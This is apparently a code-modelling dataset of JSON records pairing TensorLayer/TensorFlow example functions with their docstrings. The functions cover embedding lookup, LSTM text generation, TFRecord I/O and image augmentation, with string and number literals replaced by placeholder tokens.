{"signature": "def main_restore_embedding_layer():", "body": "<EOL>vocabulary_size = <NUM_LIT><EOL>embedding_size = <NUM_LIT><EOL>model_file_name = \"<STR_LIT>\"<EOL>batch_size = None<EOL>print(\"<STR_LIT>\")<EOL>all_var = tl.files.load_npy_to_any(name=model_file_name + '<STR_LIT>')<EOL>data = all_var['<STR_LIT:data>']<EOL>count = all_var['<STR_LIT:count>']<EOL>dictionary = all_var['<STR_LIT>']<EOL>reverse_dictionary = all_var['<STR_LIT>']<EOL>tl.nlp.save_vocab(count, name='<STR_LIT>' + model_file_name + '<STR_LIT>')<EOL>del all_var, data, count<EOL>load_params = tl.files.load_npz(name=model_file_name + '<STR_LIT>')<EOL>x = tf.placeholder(tf.int32, shape=[batch_size])<EOL>emb_net = tl.layers.EmbeddingInputlayer(x, vocabulary_size, embedding_size, name='<STR_LIT>')<EOL>sess.run(tf.global_variables_initializer())<EOL>tl.files.assign_params(sess, [load_params[<NUM_LIT:0>]], emb_net)<EOL>emb_net.print_params()<EOL>emb_net.print_layers()<EOL>word = b'<STR_LIT:hello>'<EOL>word_id = dictionary[word]<EOL>print('<STR_LIT>', word_id)<EOL>words = [b'<STR_LIT:i>', b'<STR_LIT>', b'<STR_LIT>', b'<STR_LIT>']<EOL>word_ids = tl.nlp.words_to_word_ids(words, dictionary, _UNK)<EOL>context = tl.nlp.word_ids_to_words(word_ids, reverse_dictionary)<EOL>print('<STR_LIT>', word_ids)<EOL>print('<STR_LIT>', context)<EOL>vector = sess.run(emb_net.outputs, feed_dict={x: [word_id]})<EOL>print('<STR_LIT>', vector.shape)<EOL>vectors = sess.run(emb_net.outputs, feed_dict={x: word_ids})<EOL>print('<STR_LIT>', vectors.shape)<EOL>", "docstring": "How to use Embedding layer, and how to convert IDs to vector,\n    IDs to words, etc.", "id": "f11079:m3"}
{"signature": "def main_lstm_generate_text():", "body": "<EOL>init_scale = <NUM_LIT:0.1><EOL>learning_rate = <NUM_LIT:1.0><EOL>max_grad_norm = <NUM_LIT:5><EOL>sequence_length = <NUM_LIT:20><EOL>hidden_size = <NUM_LIT:200><EOL>max_epoch = <NUM_LIT:4><EOL>max_max_epoch = <NUM_LIT:100><EOL>lr_decay = <NUM_LIT><EOL>batch_size = <NUM_LIT:20><EOL>top_k_list = [<NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:5>, <NUM_LIT:10>]<EOL>print_length = <NUM_LIT:30><EOL>model_file_name = \"<STR_LIT>\"<EOL>words = customized_read_words(input_fpath=\"<STR_LIT>\")<EOL>vocab = tl.nlp.create_vocab([words], word_counts_output_file='<STR_LIT>', min_word_count=<NUM_LIT:1>)<EOL>vocab = tl.nlp.Vocabulary('<STR_LIT>', unk_word=\"<STR_LIT>\")<EOL>vocab_size = vocab.unk_id + <NUM_LIT:1><EOL>train_data = [vocab.word_to_id(word) for word in words]<EOL>seed = \"<STR_LIT>\"<EOL>seed = nltk.tokenize.word_tokenize(seed)<EOL>print('<STR_LIT>' % seed)<EOL>sess = tf.InteractiveSession()<EOL>input_data = tf.placeholder(tf.int32, [batch_size, sequence_length])<EOL>targets = tf.placeholder(tf.int32, [batch_size, sequence_length])<EOL>input_data_test = tf.placeholder(tf.int32, [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>def inference(x, is_train, sequence_length, reuse=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>print(\"<STR_LIT>\" % (sequence_length, is_train, reuse))<EOL>rnn_init = tf.random_uniform_initializer(-init_scale, init_scale)<EOL>with tf.variable_scope(\"<STR_LIT>\", reuse=reuse):<EOL><INDENT>network = EmbeddingInputlayer(x, vocab_size, hidden_size, rnn_init, name='<STR_LIT>')<EOL>network = RNNLayer(<EOL>network, cell_fn=tf.contrib.rnn.BasicLSTMCell, cell_init_args={<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': True<EOL>}, n_hidden=hidden_size, initializer=rnn_init, n_steps=sequence_length, return_last=False,<EOL>return_seq_2d=True, name='<STR_LIT>'<EOL>)<EOL>lstm1 = network<EOL>network = DenseLayer(network, vocab_size, W_init=rnn_init, b_init=rnn_init, act=None, name='<STR_LIT>')<EOL><DEDENT>return network, lstm1<EOL><DEDENT>network, lstm1 = inference(input_data, is_train=True, sequence_length=sequence_length, reuse=None)<EOL>network_test, lstm1_test = inference(input_data_test, is_train=False, sequence_length=<NUM_LIT:1>, reuse=True)<EOL>y_linear = network_test.outputs<EOL>y_soft = tf.nn.softmax(y_linear)<EOL>def loss_fn(outputs, targets, batch_size, sequence_length):<EOL><INDENT>loss = tf.contrib.legacy_seq2seq.sequence_loss_by_example(<EOL>[outputs], [tf.reshape(targets, [-<NUM_LIT:1>])], [tf.ones([batch_size * sequence_length])]<EOL>)<EOL>cost = tf.reduce_sum(loss) / batch_size<EOL>return cost<EOL><DEDENT>cost = loss_fn(network.outputs, targets, batch_size, sequence_length)<EOL>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>lr = tf.Variable(<NUM_LIT:0.0>, trainable=False)<EOL><DEDENT>tvars = network.all_params<EOL>grads, _ = tf.clip_by_global_norm(tf.gradients(cost, tvars), max_grad_norm)<EOL>optimizer = tf.train.GradientDescentOptimizer(lr)<EOL>train_op = optimizer.apply_gradients(zip(grads, tvars))<EOL>sess.run(tf.global_variables_initializer())<EOL>print(\"<STR_LIT>\")<EOL>for i in range(max_max_epoch):<EOL><INDENT>new_lr_decay = lr_decay**max(i - max_epoch, <NUM_LIT:0.0>)<EOL>sess.run(tf.assign(lr, learning_rate * new_lr_decay))<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, sess.run(lr)))<EOL>epoch_size = ((len(train_data) // batch_size) - <NUM_LIT:1>) // sequence_length<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(train_data, batch_size, sequence_length)):<EOL><INDENT>_cost, state1, _ = sess.run(<EOL>[cost, lstm1.final_state, train_op], feed_dict={<EOL>input_data: x,<EOL>targets: y,<EOL>lstm1.initial_state: state1<EOL>}<EOL>)<EOL>costs += _cost<EOL>iters += sequence_length<EOL>if step % (epoch_size // <NUM_LIT:10>) == <NUM_LIT:1>:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(step * <NUM_LIT:1.0> / epoch_size, np.exp(costs / iters), iters * batch_size / (time.time() - start_time))<EOL>)<EOL><DEDENT><DEDENT>train_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, train_perplexity))<EOL>for top_k in top_k_list:<EOL><INDENT>state1 = tl.layers.initialize_rnn_state(lstm1_test.initial_state)<EOL>outs_id = [vocab.word_to_id(w) for w in seed]<EOL>for ids in outs_id[:-<NUM_LIT:1>]:<EOL><INDENT>a_id = np.asarray(ids).reshape(<NUM_LIT:1>, <NUM_LIT:1>)<EOL>state1 = sess.run(<EOL>[lstm1_test.final_state], feed_dict={<EOL>input_data_test: a_id,<EOL>lstm1_test.initial_state: state1<EOL>}<EOL>)<EOL><DEDENT>a_id = outs_id[-<NUM_LIT:1>]<EOL>for _ in range(print_length):<EOL><INDENT>a_id = np.asarray(a_id).reshape(<NUM_LIT:1>, <NUM_LIT:1>)<EOL>out, state1 = sess.run(<EOL>[y_soft, lstm1_test.final_state], feed_dict={<EOL>input_data_test: a_id,<EOL>lstm1_test.initial_state: state1<EOL>}<EOL>)<EOL>a_id = tl.nlp.sample_top(out[<NUM_LIT:0>], top_k=top_k)<EOL>outs_id.append(a_id)<EOL><DEDENT>sentence = [vocab.id_to_word(w) for w in outs_id]<EOL>sentence = \"<STR_LIT:U+0020>\".join(sentence)<EOL>print(top_k, '<STR_LIT::>', sentence)<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>tl.files.save_npz(network_test.all_params, name=model_file_name)<EOL>", "docstring": "Generate text by Synced sequence input and output.", "id": "f11079:m4"}
{"signature": "def model_batch_norm(x, y_, reuse, is_train):", "body": "W_init = tf.truncated_normal_initializer(stddev=<NUM_LIT>)<EOL>W_init2 = tf.truncated_normal_initializer(stddev=<NUM_LIT>)<EOL>b_init2 = tf.constant_initializer(value=<NUM_LIT:0.1>)<EOL>with tf.variable_scope(\"<STR_LIT>\", reuse=reuse):<EOL><INDENT>net = InputLayer(x, name='<STR_LIT:input>')<EOL>net = Conv2d(net, <NUM_LIT:64>, (<NUM_LIT:5>, <NUM_LIT:5>), (<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', W_init=W_init, b_init=None, name='<STR_LIT>')<EOL>net = BatchNormLayer(net, decay=<NUM_LIT>, is_train=is_train, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = MaxPool2d(net, (<NUM_LIT:3>, <NUM_LIT:3>), (<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, <NUM_LIT:64>, (<NUM_LIT:5>, <NUM_LIT:5>), (<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', W_init=W_init, b_init=None, name='<STR_LIT>')<EOL>net = BatchNormLayer(net, decay=<NUM_LIT>, is_train=is_train, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = MaxPool2d(net, (<NUM_LIT:3>, <NUM_LIT:3>), (<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = FlattenLayer(net, name='<STR_LIT>')  <EOL>net = DenseLayer(net, <NUM_LIT>, act=tf.nn.relu, W_init=W_init2, b_init=b_init2, name='<STR_LIT>')<EOL>net = DenseLayer(net, <NUM_LIT>, act=tf.nn.relu, W_init=W_init2, b_init=b_init2, name='<STR_LIT>')<EOL>net = DenseLayer(net, <NUM_LIT:10>, act=None, W_init=W_init2, name='<STR_LIT>')<EOL>y = net.outputs<EOL>ce = tl.cost.cross_entropy(y, y_, name='<STR_LIT>')<EOL>L2 = <NUM_LIT:0><EOL>for p in tl.layers.get_variables_with_name('<STR_LIT>', True, True):<EOL><INDENT>L2 += tf.contrib.layers.l2_regularizer(<NUM_LIT>)(p)<EOL><DEDENT>cost = ce + L2<EOL>correct_prediction = tf.equal(tf.argmax(y, <NUM_LIT:1>), y_)<EOL>acc = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))<EOL>return net, cost, acc<EOL><DEDENT>", "docstring": "Batch normalization should be placed before rectifier.", "id": "f11084:m1"}
{"signature": "def distort_fn(x, is_train=False):", "body": "<EOL>x = tl.prepro.crop(x, <NUM_LIT>, <NUM_LIT>, is_random=is_train)<EOL>if is_train:<EOL><INDENT>x = tl.prepro.flip_axis(x, axis=<NUM_LIT:1>, is_random=True)<EOL>x = tl.prepro.brightness(x, gamma=<NUM_LIT:0.1>, gain=<NUM_LIT:1>, is_random=True)<EOL><DEDENT>x = (x - np.mean(x)) / max(np.std(x), <NUM_LIT>)  <EOL>return x<EOL>", "docstring": "The images are processed as follows:\n.. They are cropped to 24 x 24 pixels, centrally for evaluation or randomly for training.\n.. They are approximately whitened to make the model insensitive to dynamic range.\nFor training, we additionally apply a series of random distortions to\nartificially increase the data set size:\n.. Randomly flip the image from left to right.\n.. Randomly distort the image brightness.", "id": "f11084:m2"}
{"signature": "def data_to_tfrecord(images, labels, filename):", "body": "if os.path.isfile(filename):<EOL><INDENT>print(\"<STR_LIT>\" % filename)<EOL>return<EOL><DEDENT>print(\"<STR_LIT>\" % filename)<EOL>writer = tf.python_io.TFRecordWriter(filename)<EOL>for index, img in enumerate(images):<EOL><INDENT>img_raw = img.tobytes()<EOL>label = int(labels[index])<EOL>example = tf.train.Example(<EOL>features=tf.train.Features(<EOL>feature={<EOL>\"<STR_LIT:label>\": tf.train.Feature(int64_list=tf.train.Int64List(value=[label])),<EOL>'<STR_LIT>': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw])),<EOL>}<EOL>)<EOL>)<EOL>writer.write(example.SerializeToString())  <EOL><DEDENT>writer.close()<EOL>", "docstring": "Save data into TFRecord.", "id": "f11089:m0"}
{"signature": "def read_and_decode(filename, is_train=None):", "body": "filename_queue = tf.train.string_input_producer([filename])<EOL>reader = tf.TFRecordReader()<EOL>_, serialized_example = reader.read(filename_queue)<EOL>features = tf.parse_single_example(<EOL>serialized_example, features={<EOL>'<STR_LIT:label>': tf.FixedLenFeature([], tf.int64),<EOL>'<STR_LIT>': tf.FixedLenFeature([], tf.string),<EOL>}<EOL>)<EOL>img = tf.decode_raw(features['<STR_LIT>'], tf.float32)<EOL>img = tf.reshape(img, [<NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>])<EOL>if is_train ==True:<EOL><INDENT>img = tf.random_crop(img, [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>])<EOL>img = tf.image.random_flip_left_right(img)<EOL>img = tf.image.random_brightness(img, max_delta=<NUM_LIT>)<EOL>img = tf.image.random_contrast(img, lower=<NUM_LIT>, upper=<NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == False:<EOL><INDENT>img = tf.image.resize_image_with_crop_or_pad(img, <NUM_LIT>, <NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == None:<EOL><INDENT>img = img<EOL><DEDENT>label = tf.cast(features['<STR_LIT:label>'], tf.int32)<EOL>return img, label<EOL>", "docstring": "Return tensor to read from TFRecord.", "id": "f11089:m1"}
{"signature": "def data_to_tfrecord(images, labels, filename):", "body": "if os.path.isfile(filename):<EOL><INDENT>print(\"<STR_LIT>\" % filename)<EOL>return<EOL><DEDENT>print(\"<STR_LIT>\" % filename)<EOL>writer = tf.python_io.TFRecordWriter(filename)<EOL>for index, img in enumerate(images):<EOL><INDENT>img_raw = img.tobytes()<EOL>label = int(labels[index])<EOL>example = tf.train.Example(<EOL>features=tf.train.Features(<EOL>feature={<EOL>\"<STR_LIT:label>\": tf.train.Feature(int64_list=tf.train.Int64List(value=[label])),<EOL>'<STR_LIT>': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw])),<EOL>}<EOL>)<EOL>)<EOL>writer.write(example.SerializeToString())  <EOL><DEDENT>writer.close()<EOL>", "docstring": "Save data into TFRecord.", "id": "f11095:m0"}
{"signature": "def read_and_decode(filename, is_train=None):", "body": "filename_queue = tf.train.string_input_producer([filename])<EOL>reader = tf.TFRecordReader()<EOL>_, serialized_example = reader.read(filename_queue)<EOL>features = tf.parse_single_example(<EOL>serialized_example, features={<EOL>'<STR_LIT:label>': tf.FixedLenFeature([], tf.int64),<EOL>'<STR_LIT>': tf.FixedLenFeature([], tf.string),<EOL>}<EOL>)<EOL>img = tf.decode_raw(features['<STR_LIT>'], tf.float32)<EOL>img = tf.reshape(img, [<NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>])<EOL>if is_train ==True:<EOL><INDENT>img = tf.random_crop(img, [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>])<EOL>img = tf.image.random_flip_left_right(img)<EOL>img = tf.image.random_brightness(img, max_delta=<NUM_LIT>)<EOL>img = tf.image.random_contrast(img, lower=<NUM_LIT>, upper=<NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == False:<EOL><INDENT>img = tf.image.resize_image_with_crop_or_pad(img, <NUM_LIT>, <NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == None:<EOL><INDENT>img = img<EOL><DEDENT>label = tf.cast(features['<STR_LIT:label>'], tf.int32)<EOL>return img, label<EOL>", "docstring": "Return tensor to read from TFRecord.", "id": "f11095:m1"}
{"signature": "def data_to_tfrecord(images, labels, filename):", "body": "if os.path.isfile(filename):<EOL><INDENT>print(\"<STR_LIT>\" % filename)<EOL>return<EOL><DEDENT>print(\"<STR_LIT>\" % filename)<EOL>writer = tf.python_io.TFRecordWriter(filename)<EOL>for index, img in enumerate(images):<EOL><INDENT>img_raw = img.tobytes()<EOL>label = int(labels[index])<EOL>example = tf.train.Example(<EOL>features=tf.train.Features(<EOL>feature={<EOL>\"<STR_LIT:label>\": tf.train.Feature(int64_list=tf.train.Int64List(value=[label])),<EOL>'<STR_LIT>': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw])),<EOL>}<EOL>)<EOL>)<EOL>writer.write(example.SerializeToString())  <EOL><DEDENT>writer.close()<EOL>", "docstring": "Save data into TFRecord.", "id": "f11096:m0"}
{"signature": "def read_and_decode(filename, is_train=None):", "body": "filename_queue = tf.train.string_input_producer([filename])<EOL>reader = tf.TFRecordReader()<EOL>_, serialized_example = reader.read(filename_queue)<EOL>features = tf.parse_single_example(<EOL>serialized_example, features={<EOL>'<STR_LIT:label>': tf.FixedLenFeature([], tf.int64),<EOL>'<STR_LIT>': tf.FixedLenFeature([], tf.string),<EOL>}<EOL>)<EOL>img = tf.decode_raw(features['<STR_LIT>'], tf.float32)<EOL>img = tf.reshape(img, [<NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>])<EOL>if is_train ==True:<EOL><INDENT>img = tf.random_crop(img, [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>])<EOL>img = tf.image.random_flip_left_right(img)<EOL>img = tf.image.random_brightness(img, max_delta=<NUM_LIT>)<EOL>img = tf.image.random_contrast(img, lower=<NUM_LIT>, upper=<NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == False:<EOL><INDENT>img = tf.image.resize_image_with_crop_or_pad(img, <NUM_LIT>, <NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == None:<EOL><INDENT>img = img<EOL><DEDENT>label = tf.cast(features['<STR_LIT:label>'], tf.int32)<EOL>return img, label<EOL>", "docstring": "Return tensor to read from TFRecord.", "id": "f11096:m1"}
{"signature": "def data_to_tfrecord(images, labels, filename):", "body": "if os.path.isfile(filename):<EOL><INDENT>print(\"<STR_LIT>\" % filename)<EOL>return<EOL><DEDENT>print(\"<STR_LIT>\" % filename)<EOL>writer = tf.python_io.TFRecordWriter(filename)<EOL>for index, img in enumerate(images):<EOL><INDENT>img_raw = img.tobytes()<EOL>label = int(labels[index])<EOL>example = tf.train.Example(<EOL>features=tf.train.Features(<EOL>feature={<EOL>\"<STR_LIT:label>\": tf.train.Feature(int64_list=tf.train.Int64List(value=[label])),<EOL>'<STR_LIT>': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw])),<EOL>}<EOL>)<EOL>)<EOL>writer.write(example.SerializeToString())  <EOL><DEDENT>writer.close()<EOL>", "docstring": "Save data into TFRecord.", "id": "f11099:m0"}
{"signature": "def read_and_decode(filename, is_train=None):", "body": "filename_queue = tf.train.string_input_producer([filename])<EOL>reader = tf.TFRecordReader()<EOL>_, serialized_example = reader.read(filename_queue)<EOL>features = tf.parse_single_example(<EOL>serialized_example, features={<EOL>'<STR_LIT:label>': tf.FixedLenFeature([], tf.int64),<EOL>'<STR_LIT>': tf.FixedLenFeature([], tf.string),<EOL>}<EOL>)<EOL>img = tf.decode_raw(features['<STR_LIT>'], tf.float32)<EOL>img = tf.reshape(img, [<NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>])<EOL>if is_train ==True:<EOL><INDENT>img = tf.random_crop(img, [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>])<EOL>img = tf.image.random_flip_left_right(img)<EOL>img = tf.image.random_brightness(img, max_delta=<NUM_LIT>)<EOL>img = tf.image.random_contrast(img, lower=<NUM_LIT>, upper=<NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == False:<EOL><INDENT>img = tf.image.resize_image_with_crop_or_pad(img, <NUM_LIT>, <NUM_LIT>)<EOL>img = tf.image.per_image_standardization(img)<EOL><DEDENT>elif is_train == None:<EOL><INDENT>img = img<EOL><DEDENT>label = tf.cast(features['<STR_LIT:label>'], tf.int32)<EOL>return img, label<EOL>", "docstring": "Return tensor to read from TFRecord.", "id": "f11099:m1"}
{"signature": "def _int64_feature(value):", "body": "return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))<EOL>", "docstring": "Wrapper for inserting an int64 Feature into a SequenceExample proto,\n    e.g, An integer label.", "id": "f11102:m0"}
{"signature": "def _bytes_feature(value):", "body": "<EOL>return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))<EOL>", "docstring": "Wrapper for inserting a bytes Feature into a SequenceExample proto,\n    e.g, an image in byte", "id": "f11102:m1"}
{"signature": "def _int64_feature_list(values):", "body": "return tf.train.FeatureList(feature=[_int64_feature(v) for v in values])<EOL>", "docstring": "Wrapper for inserting an int64 FeatureList into a SequenceExample proto,\n    e.g, sentence in list of ints", "id": "f11102:m2"}
{"signature": "def _bytes_feature_list(values):", "body": "return tf.train.FeatureList(feature=[_bytes_feature(v) for v in values])<EOL>", "docstring": "Wrapper for inserting a bytes FeatureList into a SequenceExample proto,\n    e.g, sentence in list of bytes", "id": "f11102:m3"}
{"signature": "def distort_image(image, thread_id):", "body": "<EOL>with tf.name_scope(\"<STR_LIT>\"):  <EOL><INDENT>image = tf.image.random_flip_left_right(image)<EOL><DEDENT>color_ordering = thread_id % <NUM_LIT:2><EOL>with tf.name_scope(\"<STR_LIT>\"):  <EOL><INDENT>if color_ordering == <NUM_LIT:0>:<EOL><INDENT>image = tf.image.random_brightness(image, max_delta=<NUM_LIT> / <NUM_LIT>)<EOL>image = tf.image.random_saturation(image, lower=<NUM_LIT:0.5>, upper=<NUM_LIT>)<EOL>image = tf.image.random_hue(image, max_delta=<NUM_LIT>)<EOL>image = tf.image.random_contrast(image, lower=<NUM_LIT:0.5>, upper=<NUM_LIT>)<EOL><DEDENT>elif color_ordering == <NUM_LIT:1>:<EOL><INDENT>image = tf.image.random_brightness(image, max_delta=<NUM_LIT> / <NUM_LIT>)<EOL>image = tf.image.random_contrast(image, lower=<NUM_LIT:0.5>, upper=<NUM_LIT>)<EOL>image = tf.image.random_saturation(image, lower=<NUM_LIT:0.5>, upper=<NUM_LIT>)<EOL>image = tf.image.random_hue(image, max_delta=<NUM_LIT>)<EOL><DEDENT>image = tf.clip_by_value(image, <NUM_LIT:0.0>, <NUM_LIT:1.0>)<EOL><DEDENT>return image<EOL>", "docstring": "Perform random distortions on an image.\n    Args:\n        image: A float32 Tensor of shape [height, width, 3] with values in [0, 1).\n        thread_id: Preprocessing thread id used to select the ordering of color\n        distortions. There should be a multiple of 2 preprocessing threads.\n    Returns:````\n        distorted_image: A float32 Tensor of shape [height, width, 3] with values in\n        [0, 1].", "id": "f11102:m4"}
{"signature": "def prefetch_input_data(<EOL>reader, file_pattern, is_training, batch_size, values_per_shard, input_queue_capacity_factor=<NUM_LIT:16>,<EOL>num_reader_threads=<NUM_LIT:1>, shard_queue_name=\"<STR_LIT>\", value_queue_name=\"<STR_LIT>\"<EOL>):", "body": "data_files = []<EOL>for pattern in file_pattern.split(\"<STR_LIT:U+002C>\"):<EOL><INDENT>data_files.extend(tf.gfile.Glob(pattern))<EOL><DEDENT>if not data_files:<EOL><INDENT>tl.logging.fatal(\"<STR_LIT>\", file_pattern)<EOL><DEDENT>else:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\", len(data_files), file_pattern)<EOL><DEDENT>if is_training:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>filename_queue = tf.train.string_input_producer(data_files, shuffle=True, capacity=<NUM_LIT:16>, name=shard_queue_name)<EOL>min_queue_examples = values_per_shard * input_queue_capacity_factor<EOL>capacity = min_queue_examples + <NUM_LIT:100> * batch_size<EOL>values_queue = tf.RandomShuffleQueue(<EOL>capacity=capacity, min_after_dequeue=min_queue_examples, dtypes=[tf.string],<EOL>name=\"<STR_LIT>\" + value_queue_name<EOL>)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>filename_queue = tf.train.string_input_producer(data_files, shuffle=False, capacity=<NUM_LIT:1>, name=shard_queue_name)<EOL>capacity = values_per_shard + <NUM_LIT:3> * batch_size<EOL>values_queue = tf.FIFOQueue(capacity=capacity, dtypes=[tf.string], name=\"<STR_LIT>\" + value_queue_name)<EOL><DEDENT>enqueue_ops = []<EOL>for _ in range(num_reader_threads):<EOL><INDENT>_, value = reader.read(filename_queue)<EOL>enqueue_ops.append(values_queue.enqueue([value]))<EOL><DEDENT>tf.train.queue_runner.add_queue_runner(tf.train.queue_runner.QueueRunner(values_queue, enqueue_ops))<EOL>tf.summary.scalar(<EOL>\"<STR_LIT>\" % (values_queue.name, capacity),<EOL>tf.cast(values_queue.size(), tf.float32) * (<NUM_LIT:1.> / capacity)<EOL>)<EOL>return values_queue<EOL>", "docstring": "Prefetches string values from disk into an input queue.\n\n    In training the capacity of the queue is important because a larger queue\n    means better mixing of training examples between shards. The minimum number of\n    values kept in the queue is values_per_shard * input_queue_capacity_factor,\n    where input_queue_memory factor should be chosen to trade-off better mixing\n    with memory usage.\n\n    Args:\n        reader: Instance of tf.ReaderBase.\n        file_pattern: Comma-separated list of file patterns (e.g.\n            /tmp/train_data-?????-of-00100).\n        is_training: Boolean; whether prefetching for training or eval.\n        batch_size: Model batch size used to determine queue capacity.\n        values_per_shard: Approximate number of values per shard.\n        input_queue_capacity_factor: Minimum number of values to keep in the queue\n        in multiples of values_per_shard. See comments above.\n        num_reader_threads: Number of reader threads to fill the queue.\n        shard_queue_name: Name for the shards filename queue.\n        value_queue_name: Name for the values input queue.\n\n    Returns:\n        A Queue containing prefetched string values.", "id": "f11102:m5"}
{"signature": "def batch_with_dynamic_pad(images_and_captions, batch_size, queue_capacity, add_summaries=True):", "body": "enqueue_list = []<EOL>for image, caption in images_and_captions:<EOL><INDENT>caption_length = tf.shape(caption)[<NUM_LIT:0>]<EOL>input_length = tf.expand_dims(tf.subtract(caption_length, <NUM_LIT:1>), <NUM_LIT:0>)<EOL>input_seq = tf.slice(caption, [<NUM_LIT:0>], input_length)<EOL>target_seq = tf.slice(caption, [<NUM_LIT:1>], input_length)<EOL>indicator = tf.ones(input_length, dtype=tf.int32)<EOL>enqueue_list.append([image, input_seq, target_seq, indicator])<EOL><DEDENT>images, input_seqs, target_seqs, mask = tf.train.batch_join(<EOL>enqueue_list, batch_size=batch_size, capacity=queue_capacity, dynamic_pad=True, name=\"<STR_LIT>\"<EOL>)<EOL>if add_summaries:<EOL><INDENT>lengths = tf.add(tf.reduce_sum(mask, <NUM_LIT:1>), <NUM_LIT:1>)<EOL>tf.summary.scalar(\"<STR_LIT>\", tf.reduce_min(lengths))<EOL>tf.summary.scalar(\"<STR_LIT>\", tf.reduce_max(lengths))<EOL>tf.summary.scalar(\"<STR_LIT>\", tf.reduce_mean(lengths))<EOL><DEDENT>return images, input_seqs, target_seqs, mask<EOL>", "docstring": "Batches input images and captions.\n\n    This function splits the caption into an input sequence and a target sequence,\n    where the target sequence is the input sequence right-shifted by 1. Input and\n    target sequences are batched and padded up to the maximum length of sequences\n    in the batch. A mask is created to distinguish real words from padding words.\n\n    Example:\n        Actual captions in the batch ('-' denotes padded character):\n        [\n            [ 1 2 5 4 5 ],\n            [ 1 2 3 4 - ],\n            [ 1 2 3 - - ],\n        ]\n\n        input_seqs:\n        [\n            [ 1 2 3 4 ],\n            [ 1 2 3 - ],\n            [ 1 2 - - ],\n        ]\n\n        target_seqs:\n        [\n            [ 2 3 4 5 ],\n            [ 2 3 4 - ],\n            [ 2 3 - - ],\n        ]\n\n        mask:\n        [\n            [ 1 1 1 1 ],\n            [ 1 1 1 0 ],\n            [ 1 1 0 0 ],\n        ]\n\n    Args:\n        images_and_captions: A list of pairs [image, caption], where image is a\n        Tensor of shape [height, width, channels] and caption is a 1-D Tensor of\n        any length. Each pair will be processed and added to the queue in a\n        separate thread.\n        batch_size: Batch size.\n        queue_capacity: Queue capacity.\n        add_summaries: If true, add caption length summaries.\n\n    Returns:\n        images: A Tensor of shape [batch_size, height, width, channels].\n        input_seqs: An int32 Tensor of shape [batch_size, padded_length].\n        target_seqs: An int32 Tensor of shape [batch_size, padded_length].\n        mask: An int32 0/1 Tensor of shape [batch_size, padded_length].", "id": "f11102:m6"}
{"signature": "def example1():", "body": "st = time.time()<EOL>for _ in range(<NUM_LIT:100>):  <EOL><INDENT>xx = tl.prepro.rotation(image, rg=-<NUM_LIT:20>, is_random=False)<EOL>xx = tl.prepro.flip_axis(xx, axis=<NUM_LIT:1>, is_random=False)<EOL>xx = tl.prepro.shear2(xx, shear=(<NUM_LIT:0.>, -<NUM_LIT>), is_random=False)<EOL>xx = tl.prepro.zoom(xx, zoom_range=<NUM_LIT:1> / <NUM_LIT>)<EOL>xx = tl.prepro.shift(xx, wrg=-<NUM_LIT:0.1>, hrg=<NUM_LIT:0>, is_random=False)<EOL><DEDENT>print(\"<STR_LIT>\" % ((time.time() - st) / <NUM_LIT:100>))<EOL>tl.vis.save_image(xx, '<STR_LIT>')<EOL>", "docstring": "Example 1: Applying transformation one-by-one is very SLOW !", "id": "f11105:m1"}
{"signature": "def example2():", "body": "st = time.time()<EOL>for _ in range(<NUM_LIT:100>):  <EOL><INDENT>transform_matrix = create_transformation_matrix()<EOL>result = tl.prepro.affine_transform_cv2(image, transform_matrix)  <EOL><DEDENT>print(\"<STR_LIT>\" % ((time.time() - st) / <NUM_LIT:100>))  <EOL>tl.vis.save_image(result, '<STR_LIT>')<EOL>", "docstring": "Example 2: Applying all transforms in one is very FAST !", "id": "f11105:m2"}
